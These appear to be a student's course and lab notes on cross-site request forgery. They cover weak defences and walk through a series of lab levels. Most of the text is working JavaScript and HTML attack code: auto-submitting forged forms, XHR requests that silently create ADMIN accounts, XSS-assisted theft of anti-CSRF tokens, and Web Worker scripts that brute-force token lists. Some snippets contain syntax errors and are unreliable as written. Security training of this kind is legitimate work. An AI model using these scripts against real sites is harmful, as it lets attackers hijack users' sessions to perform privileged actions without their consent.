Cross-Site Request Forgery
-
CSRF or XSRF occurs when developers omit the prevention mechanisms.
-
Is the most known flavor of the Session Riding attack category. Its also pronouced Sea Surf
-
http://seclists.org/bugtraq/2001/Jun/217
Recap
- There is nothing wrong with requests such as requiring external hosted images, javascript code, stylesheet, etc.
- The wrong part is when these requests are forged in order to send money to the attacker by both performing privilegeda actions and other malicious operations.
- CSRF attacks allows one to exploit the trust relationship between a web app and the HTTP requests made by its users.
- This forces them to perform arbritary operations on behalf of the attacker
Vulnerable
A web app is vuln to CSRF attacks IF:
- When tracking sessions, the application relies both on mechanisms like HTTP cookies and Basic Authentication, which are automatically injected into the request by the browser.
- The attacker is able to determine all the required parameters in order to perform the malicious request.
In order to exploit:
- Make sure that the victim has a valid and active session when the malicious request is executed.
- Be able to forge a valid request on behalf of the victim
Vulnerable Scenarios
- When the application lacks anti-CSRF defenses
- When the application contains weak anti-CSRF defense mechanisms such as cookie-only based solutions, confirmation screens, using POST, and checking the referer header.
CSRF = an attacker can send a request on behalf of ht victim using their browser, which simply means that the attacker can target any website that is accessible from the victim side.
Attack Vectors
Force Browsing with GET
Change Email Address
Lets say, provide the new address and subit the form
- By default the HTTP method is GET
- To exploit this vuln, we need to generate a GET request and then trick the victim (or their browser) into executing it.
The simplest method to generate a GET request is to use images. This is merely because Getis the standard method used when requesting an image with HTML
To deliver the attack, we must exploit an existing flaw like XSS, and inject either HTML or Javascript.
Otherwise, we need to social engineer the victim in order to have them visit our malicious page or click a link we provide.
Tags supported by HTML4 and HTML5
http://www.w3.org/TR/REC-html40/index/attributes.html
http://www.w3.org/html/wg/drafts/html/master/index.html#attributes-1
REQUIRE User Interaction:
<href=URL>click here
<form><input formaction=URL>
<button formaction=URL>
DO NOT REQUIRE User Interaction:
<iframe src=URL>
<script src=URL>
<input type="image" src=URL alt="">
<embed src=URL>
<audio src=URL>
<video src=URL>
<source src=URL>
<video poster=URL>
<link rel="stylesheet" href=URL>
<object data=URL>
<body background=URL>
<div style="backgound:url(URL)">
<style>body { background:url(URL) } </script>
Post Requests
Using only HTML, the only way to forge POST requests is with the attribute method of tah FORM:
<form action="somewhere" method="POST">
-
As a result, we need to create a cloned form and then social engineer the victim into clicking the submit button.
-
We can use HTML + Javascript to create a more effective attack that does not require user interaction
Auto-submitting Form
<script>document.getElementById("CSRForm").submit()</script>
We can use event handlers such as onload and onerror because they do not require user interaction:
<img src=x onerror="CSRForm.submit();">
in HTML5 we can use autofocus and the related event handler onfocus:
<input name="new" value="evil@hacker.site" autofocus onfocus="CSRForm.submit()">
How to perform POST requests silently
<iframe style="display:none" name="CSRFrame"></iframe>
# in the form we add target="CSRFrame"
# display the response received submitting the form in the iframe
Can be forged using XMLHttpReques(XHR) also:
var url="URL";
var params = "old=mycoolemail@victim.site&new=eviL@hacker.site";
var CSRF = new XMLHttpRequest();
CSRF.open("POST", url, false);
CSRF.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
CSRF.send(params)
Can also be done using JavaScript libraries such as JQuery:
$.ajax({ type: "POST", url: "URL", data: "old=mycoolemail@victim.site&new=eviL@hacker.site",});
Exploiting Weak Anti-CSRF Measures
Using POST-only Requests
- Get requests can be cached, bookmarked, etc. It should not be used For operations that cause a state to change. These may include functionality like database operations, writings files, etc.
- POST requests For sensitive informations is better practice and protects against a well-known class of CSRF attack vectors.
Multi-Step Transactions
- As long as we are able to either predict or deduce the steps necessary to complete a task, then CSRF is possible.
- IF the app implements multi=step transactions, these are in no way a protection mechanism.
Checking Referer Header
- It allows a server to check where a request was orifinated and therefore perform logging, optimized chaching. etc.
- Some implementation mistakens are that the referrer not being sent if the website is using SSL/TLS. This does not take into consideration that firewalls, corporate proxies, etc, might remove this header
- It can help in detecting some attacks. However, it will not stop all attacks. An example is an XSS flaw in the same origin.
Predicatable Anti-CSRF Token
- One of the most effective solutions For reducing the likelihood of CSRF exploitation is to use a Synchronizer Token Pattern, commonly called anti-CSRF Tokens.
- This design pattern requires the generating of a challenge token that will be inserted within the HTML page. Another countermeasure might be SameSite Cookie.
Synchronizer Token Pattern: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
sameSite Cookie: https://tools.ietf.org/html/draft-ietf-httpbis-rfc6265bis-02#section-5.3.7
its essential that the token values are randomly generated
Unverified Anti-CSRF Token
Another possible scenario is when the application implements strong Anti-CSRF tokens but lacks the verification server-side.
Secret Cookies
The concept with this technique is to create a cookie containing secret information (MD5 hash of a random secret) and then check if its included in the users request.
Clearly, this is not in any way a security measure. Cookies, both by specification and design, are sent with every request. Therefore, once a user sets a cookie, they are passed to the site/app no matter what, regardless of user intention.
Advanced CSRF Exploitation
Bypassing CSRF Defenses with XSS
A single XSS flaw is like a storm that overwhelms the entire CSRF protection system.
Technically, once we have exploited an XSS flaw, we are in the same origin of the CSR. All defenses against CSRF, except Challenge-Response mechanisms, are useless.
Can be Bypassed:
- Synchronized token
- Checking the Referer Header
- Checking the Origin Header
→ https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#synchronizer-token-pattern
→ https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#verifying-origin-with-standard-headers
→ https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#verifying-origin-with-standard-headers
Bypassing Header Checks
Checking Referer and Origin header simply means that the request must come from a proper origin.
Bypassing these types of defenses measures are straightforward as long as we have effectively exploited an XSS vulnerability.
Bypassing Anti-CSRF Token
We need to hijack the anti-csrf token from a valid form and then use the token stolen in our forged form.
# Once the XSS has been detected > Two scenarios:
1 - Occurs when XSS and CSRF-protected forms are contained on the same page
2 - XSS flaw is located in another part of the web application
Steps to bypass anti-CSRF mechanisms:
# Useless if the XSS is in the same page
- 1. Request a valid form (with a valid token)
- 2. Extract the valid token from the source code
- 3. Forge the form with the stolen token
CSRF in 3 Steps
1 - Request a valid form with a valid Token
We need the HTML of the page where the target form is located.
- Worst case scenario, the XSS is not located on the same page of the target form; therefore, we can not access the DOM directly using JavaScript. Thus, we need to GET the HTML source of the page.
- To get the pages HTML using XMLHttpRequest is simple:
→ http://xhr.spec.whatwg.org/
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState == 4) {
var htmlSource = xhr.responseText; // the source code
// some operations
}
}
xhr.open('GET','http://victim.site/csrf-form-page.html', true);
xhr.send();
The first step is to request a valid form with a valid token by using some form of the following JQuery code:
JReq = JQuery.get('http://victim.site/csrf-form-page.html', function() {
var htmlSource = JReq.responseText; // the source code
// some operations
});
2 - Extract the valid Token from the Source Code
in the best scenario, we can access the DOM quite easily:
var token = document.getElementsByName('csrf_token')[0].value
Whereas, there are multiple options available to both inspect the string result and extract the anti-csrf token.
THe first options is by using regex-based DOMParser API:
https://developer.mozilla.org/en-US/docs/Web/API/DOMParser
3 - Forge the Form with the Stolen Token
Once we have a valid token, is to add the anti-csrf token in the forged form and send the attack by using the techniques we have seen in the previous sections.
Bypassing Anti-CSRF Token Brute Forcing
- The Anti-csrf tokens must be random and unpredictable. Otherwise it becomes expose to brute force attacks.
- If we are able to steal a vicitms valid cookie, we can use Burp Repeater or custom scripts like Ruby, Python or any other non-browser mechanisms to generate a tremendous number of requests.
- Moreover in the video section
In a scenario where we cant steal the victim session cookies:
- Target users might be either convinced to visit our malicious page
- We can inject our malicious code and exploit an XSS flaw against these users.
- As a result we exploit the weak anti-CSRF protection
- Lets consider an implementation that generates anti-CSRF tokens with a number value between 100 and 300. This is a poor leve of randomness, cause we can brute-force it.
Exploiting this only requires us to create a page with a script that generates and submits 200 forms.
- To submit a post we can use a form element
- XMLHttpRequest
- The implementation requires both a loop, in order to generate the number of requests needed, and a function that generates the same requests (except For the anti-CSRF token)
- In some cases, the vuln form may be using GET. We can use XHR again; There are also agreate deal of other native methods (IMG, etc)
Some real-world implementations of anti-CSRF appear to use a known Ajax request to get the token.
If u could iframe that particular functionality, you could narrow down a valid token by leveraging JavaScript and given that each char has a different size.
Video’s Notes
Advanced CSRF Exploitation - parte 1
This is a nice shopping site.
<script type="text/javascript">
var url = "http://targeturl.site/add_user.php";
var params = "name=Talent&surname=John&email=talent%40site.com&role=ADMIN&submit=";
# u can grab this param via BURP
var CSRF=new XMLHttpRequest();
CSRF.open("POST",url, true);
CSRF.withCredentials = "true";
CSRF.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
// u can grab the content-type via BURP
CSRF.send(params);
</script>
bypass token
<script type="text/javascript">
function addUser(token)
{
var url = "http://targeturl.site/add_user.php";
var params = "name=Talent&surname=John&email=talent%40site.com&role=ADMIN&submit=&CSRFToken=" + token;
var CSRF=new XMLHttpRequest();
CSRF.open("POST",url, true);
CSRF.withCredentials = "true";
CSRF.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
CSRF.send(params);
}
// extract the token
var XHR = new XMLHttpRequest();
XHR.onreadystatechange = function(){
if(XHR.readyState == 4{
var htmlSource = XHR.reponseText; // the source of users
// extract the token
var parser = new DOMParser().parseFromString(htmlSource, "text/html");
var token = parser.getElementById("CSRFToken").value;
addUSer(token);
}
}
XHR.open('GET', 'targeturl.site',true);
XHR.send();
</script>
Get token in browser
- document.getElementById(‘CSRFToken’).value
Advanced CSRF Exploitation - parte 2
- Send the token page in BURP to Sequencer
- Run the live test
- Save the tokens
in CMD:
sort <token file> // get rid of duplicates
sort <token file> | uniq -c //show the most common tokens
sort <token file> | uniq -c | nl
sort <token file> | uniq > valid_tokens
cd /var/www
nano brutePOST.html
<html>
<body>
<textarea id="tokens" row="12" columns="60">
<copy the valid tokens here>
</textarea>
<script>
function XHRPost(tVal){
var http = new XMLHttpRequest();
var url = "target.site/add_user.php";
var token = tVal;
var params = "POST data from BURP" //edit the token in the data with the 'token' variable
http.open("POST", url, true);
http.withCredentials = "true";
http.setRequestHeader("Content-Type", "content type from BURP");
http.onreadystatechange = function(){
if(http.readyState> 1){
//For the SoP we dont care about response
http.abort();
}
# Serialize the param object
queryParams = Object.keys(params).reduce(functions(a,k){
a.push(k + '=' + encodeURIComponent(params[k]));
return a
}, []).join('&');
http.send(queryParams);
}
function bruteLoop(TList){
For (var i=0; i<TList.length; i++){
XHRPost(Tlist[i]);
}
}
// Prepare the token list
var tokens = document.getElementById('tokens').value.replace(/\s+/gm, '\n').split('\n');
tokens = tokens.filter(Boolean); # remove empty values
bruteLoop (tokens);
</script>
</body>
</html>
Test the Referer value
- Test with subdomain
- Test in the file name text
- In this case, we need to change the file name to the target.url
- So the referer can recognize as a trusted sender
nivel 2 Brute forcer with Workers
brute.js
self.addEventListener('message', function (e) {
var tokens = e.data.tokens;
function bruteLoop(TList) {
for (var i = 0; i < TList.length; i++) {
console.info("Testing: " + TList[i]);
XHRPost(TList[i]);
}
Terminator();
}
function XHRPost(tVal) {
var http = new XMLHttpRequest();
var url = "http://{LABID}.csrf.labs/add_user.php";
var token = tVal;
params = {
"name": "Malice",
"surname": "Smith",
"email": "malice@hacker.site",
"role": "ADMIN",
"submit": "",
"CSRFToken": token,
};
http.open("POST", url, true);
http.withCredentials = 'true';
// Send the proper header information along with the request
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.onreadystatechange = function () {
if (http.readyState > 1) { // We don't care about responses
// console.warn("Aborted " + token + " with status " + http.readyState);
// http.abort();
}
};
// Serialize the data without using JQuery
queryParams = Object.keys(params).reduce(function (a, k) {
a.push(k + '=' + encodeURIComponent(params[k]));
return a
}, []).join('&');
http.send(queryParams);
}
function Terminator() {
self.postMessage("Sir, I've finished... see you later");
self.close();
return;
}
// Brute Loop
bruteLoop(tokens);
}, false);
Simple Brute Force
<html>
<body>
<h1>Anti-CSRF Tokens to test</h1>
<textarea id="tokens" rows="12" cols="60">
1679091c5a880faf6fb5e6087eb1b2dc
</textarea>
<script>
function bruteLoop(TList) {
for (var i = 0; i < TList.length; i++) {
console.info("Testing: " + TList[i]);
XHRPost(TList[i]);
}
}
function XHRPost(tVal) {
var http = new XMLHttpRequest();
var url = "http://{LABID}.csrf.labs/add_user.php";
var token = tVal;
params = {
"name": "Malice",
"surname": "Smith",
"email": "malice@hacker.site",
"role": "ADMIN",
"submit": "",
"CSRFToken": token,
};
http.open("POST", url, true);
http.withCredentials = 'true';
// Send the proper header information along with the request
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.onreadystatechange = function () {
if (http.readyState > 1) {
// We don't care about responses
// console.warn("Aborted " + token + " with status " + http.readyState);
http.abort();
}
};
// Serialize the data without using JQuery
queryParams = Object.keys(params).reduce(function (a, k) {
a.push(k + '=' + encodeURIComponent(params[k]));
return a
}, []).join('&');
http.send(queryParams);
}
var tokens = document.getElementById('tokens').value.replace(/\s+/gm, '\n').split('\n');
tokens = tokens.filter(Boolean); // Remove empty lines
// Brute Loop
bruteLoop(tokens);
</script>
</body>
</html>
brutePOST_worker.html
<html>
<body>
<h1>Anti-CSRF Tokens to test</h1>
<textarea id="tokens" rows="12" cols="60">
00411460f7c92d2124a67ea0f4cb5f85
</textarea>
<br>
<h1>Workers results</h1>
<span id="workers"></span>
<script>
function startBlock(worker, tokens) {
worker.postMessage({
'tokens': tokens
});
}
var bruterPath = "csrf.labs.bruter.js";
var ww1 = new Worker(bruterPath);
ww1.addEventListener('message', function (e) {
document.getElementById("workers").innerHTML += "<b>ww1</b> says: " + e.data + "<br>";
}, false);
var ww2 = new Worker(bruterPath);
ww2.addEventListener('message', function (e) {
document.getElementById("workers").innerHTML += "<b>ww2</b> says: " + e.data + "<br>";
}, false);
var ww3 = new Worker(bruterPath);
ww3.addEventListener('message', function (e) {
document.getElementById("workers").innerHTML += "<b>ww3</b> says: " + e.data + "<br>";
}, false);
var tokens = document.getElementById('tokens').value.replace(/\s+/gm, '\n').split('\n');
tokens = tokens.filter(Boolean);
startBlock(ww1, tokens.slice(0, 333));
startBlock(ww2, tokens.slice(333, 666));
startBlock(ww3, tokens.slice(666, tokens.length));
</script>
<div>
<img src="counter.gif" />
</div>
</body>
</html>
LAB CSRF
Warm-up: CSRF level 1
warm-up add the user did with BURP
Easy: CSRF level 2
<script type="text/javascript">
var url = "http://2.csrf.labs/add_user.php"
var params = "name=talent&surname=joao&email=talent%40hacker.site&role=ADMIN&submit="
var csrf = new XMLHttpRequest();
csrf.open("POST", url, true);
csrf.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
csrf.send(params);
</script>
Easy: CSRF level 3
test2
<script type="text/javascript">
function addUser(token) {
var url = "http://3.csrf.labs/add_user.php";
var param = "name=Malice&surname=Smith&email=malice%40hacker.site&role=ADMIN&submit=&CSRFToken=" + token;
var CSRF = new XMLHttpRequest();
CSRF.open("POST",url,true);
CSRF.withCredentials = 'true';
CSRF.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
CSRF.send(param);
}
// Extract the token
var XHR = new XMLHttpRequest();
XHR.onreadystatechange = function() {
if (XHR.readyState == 4 ) {
var htmlSource = XHR.responseText; // the source of users.php
// Extract the token
var parser = new DOMParser().parseFromString(htmlSource, "text/html");
var token = parser.getElementById('CSRFToken').value;
addUser(token);
}
}
XHR.open('GET', 'http://3.csrf.labs/users.php', true);
XHR.send();
Medium: CSRF level 4
I had to change the localhost in /etc/hosts value to a subdomain of the target such as: hacker.site.4.csrf.labs So the referer was not blocked
<html>
<body>
<h1>Anti-CSRF Tokens to test</h1>
<textarea id="tokens" rows="12" cols="60">
1679091c5a880faf6fb5e6087eb1b2dc
45c48cce2e2d7fbdea1afc51c7c6ad26
8f14e45fceea167a5a36dedd4bea2543
a87ff679a2f3e71d9181a67b7542122c
c4ca4238a0b923820dcc509a6f75849b
c81e728d9d4c2f636f067f89cc14862c
c9f0f895fb98ab9159f51fd0297e236d
cfcd208495d565ef66e7dff9f98764da
d3d9446802a44259755d38e6d163e820
e4da3b7fbbce2345d7772b0674a318d5
eccbc87e4b5ce2fe28308fd9f2a7baf3
</textarea>
<script>
function bruteLoop(TList) {
for (var i = 0; i < TList.length; i++) {
console.info("Testing: " + TList[i]);
XHRPost(TList[i]);
}
}
function XHRPost(tVal) {
var http = new XMLHttpRequest();
var url = "http://4.csrf.labs/add_user.php";
var token = tVal;
params = {
"name": "Johnny",
"surname": "praq",
"email": "john@hacker.site",
"role": "ADMIN",
"submit": "",
"CSRFToken": token,
};
http.open("POST", url, true);
http.withCredentials = 'true';
// Send the proper header information along with the request
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.onreadystatechange = function () {
if (http.readyState > 1) {// We don't care about responses
// console.warn("Aborted " + token + " with status " + http.readyState);
http.abort();
}
};
// Serialize the data without using JQuery
queryParams = Object.keys(params).reduce(function (a, k) {
a.push(k + '=' + encodeURIComponent(params[k]));
return a
}, []).join('&');
http.send(queryParams);
}
var tokens = document.getElementById('tokens').value.replace(/\s+/gm, '\n').split('\n');
tokens = tokens.filter(Boolean); // Remove empty lines
// Brute Loop
bruteLoop(tokens);
</script>
</body>
</html>
Hard: CSRF level 5
<html>
<body>
<h1>Anti-CSRF Tokens to test</h1>
<textarea id="tokens" rows="12" cols="60">
00411460f7c92d2124a67ea0f4cb5f85
# add the tokens
</textarea>
<br>
<h1>Workers results</h1>
<span id="workers"></span>
<script>
function startBlock(worker, tokens) {
worker.postMessage({
'tokens': tokens
});
}
var bruterPath = "csrf.labs.bruter.js";
var ww1 = new Worker(bruterPath);
ww1.addEventListener('message', function (e) {
document.getElementById("workers").innerHTML += "<b>ww1</b> says: " + e.data + "<br>";
}, false);
var ww2 = new Worker(bruterPath);
ww2.addEventListener('message', function (e) {
document.getElementById("workers").innerHTML += "<b>ww2</b> says: " + e.data + "<br>";
}, false);
var ww3 = new Worker(bruterPath);
ww3.addEventListener('message', function (e) {
document.getElementById("workers").innerHTML += "<b>ww3</b> says: " + e.data + "<br>";
}, false);
var tokens = document.getElementById('tokens').value.replace(/\s+/gm, '\n').split('\n');
tokens = tokens.filter(Boolean);
startBlock(ww1, tokens.slice(0, 333));
startBlock(ww2, tokens.slice(333, 666));
startBlock(ww3, tokens.slice(666, tokens.length));
</script>
<div>
<img src="counter.gif" />
</div>
</body>
</html>
JS workers
self.addEventListener('message', function (e) {
var tokens = e.data.tokens;
function bruteLoop(TList) {
for (var i = 0; i < TList.length; i++) {
console.info("Testing: " + TList[i]);
XHRPost(TList[i]);
}
Terminator();
}
function XHRPost(tVal) {
var http = new XMLHttpRequest();
var url = "http://5.csrf.labs/add_user.php";
var token = tVal;
params = {
"name": "luffy",
"surname": "joyboy",
"email": "luffy@hacker.site",
"role": "ADMIN",
"submit": "",
"CSRFToken": token,
};
http.open("POST", url, true);
http.withCredentials = 'true';
// Send the proper header information along with the request
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.onreadystatechange = function () {
if (http.readyState > 1) { // We don't care about responses
http.abort();
}
};
// Serialize the data without using JQuery
queryParams = Object.keys(params).reduce(function (a, k) {
a.push(k + '=' + encodeURIComponent(params[k]));
return a
}, []).join('&');
http.send(queryParams);
}
function Terminator() {
self.postMessage("macacos me mordam");
self.close();
return;
}
// Brute Loop
bruteLoop(tokens);
}, false);